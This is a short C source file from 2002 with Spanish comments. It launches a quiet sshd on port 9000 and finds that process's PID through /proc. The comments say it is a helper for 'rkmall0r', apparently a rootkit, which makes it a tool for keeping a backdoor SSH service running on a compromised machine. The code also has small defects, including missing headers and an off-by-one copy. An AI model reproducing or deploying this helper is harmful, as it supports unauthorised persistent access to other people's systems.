/*
 * 2002 (c) Matias Sedalo <s0t4ipv6@shellcode.com.ar>
 *
 * en virtud de trabajar menos :-)
 * para no tener que andar tocando codigos cuando 
 * un programa no nos devuelve el pid y necesitamos
 * que si o si lo haga, para usar en rkmall0r.
 * 
 * Solo ejecutara C0MMAND, y devolvera su respectivo pid
 * (identificacion de proceso) si es que todo resulto bien.
 *
 * Compile: cc -o runssh runssh.c
 *
*/

#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <errno.h>

#define  C0MMAND  "/usr/local/sbin/sshd -q -p 9000"
#define	 SEARCH	  10	// cantidad de procesos a partir del padre

int main() {
  char  execute[]=C0MMAND,
	parse[strlen(execute)];
  int	i,
	proceso,
	cant=SEARCH,
	finalpid=0;

  /* Parseo el commando exactamente hasta el espacio */
  memset(parse,0x0,strlen(execute));
  memccpy(parse, execute, 0x20, strlen(execute));

  /* ejecutamos el comando */
  if ( (proceso=my_system(execute)) != -1 ) {
    for (i=proceso+1; i < (proceso+cant); i++ )
    	if ( chk_pid(i, parse) == 1 ) 
	   { finalpid=i ; break; }
  }

  if ( finalpid == 0 )
    printf("error\n");
  else
    printf("%d\n",finalpid);

  exit(0);
}

/* busco la execucion a partir de dicho proceso */
int chk_pid(int process, char *command) {
  int 	fd, 
	len=strlen(command)-1,  // commando sin el espacio final
	x=-1;			// siempre devuelva error 
  char	readme[len],
	fileopen[256];
 
  snprintf(fileopen, 256, "/proc/%d/cmdline", process);

  if ( (fd=open(fileopen, O_RDONLY)) > 0 ) {
    if ( read(fd, readme,len) > 0 )	// solo voy a leer una vez
      if ( strncmp(command, readme, len) == 0 ) x=1;
    close(fd);
  }
  /* si se encontro devuelve 1 */
  return x;	
    
}
   
/* system() pero necesito que devuelva el pid*/
int my_system (char *command) {
  int 	pid, status;

  if (command == 0) return 1;

  pid = fork();

  if (pid == -1) return -1;

  if (pid == 0) {
    char *argv[4];
    argv[0] = "sh";
    argv[1] = "-c";
    argv[2] = command;
    argv[3] = 0;
    execve("/bin/sh", argv, NULL);
    exit(127);
   }

  do {
    if (waitpid(pid, &status, 0) == -1) {
      if (errno != EINTR) return -1;
    } else
      return pid;
  } while(1);

}
/* EOF */

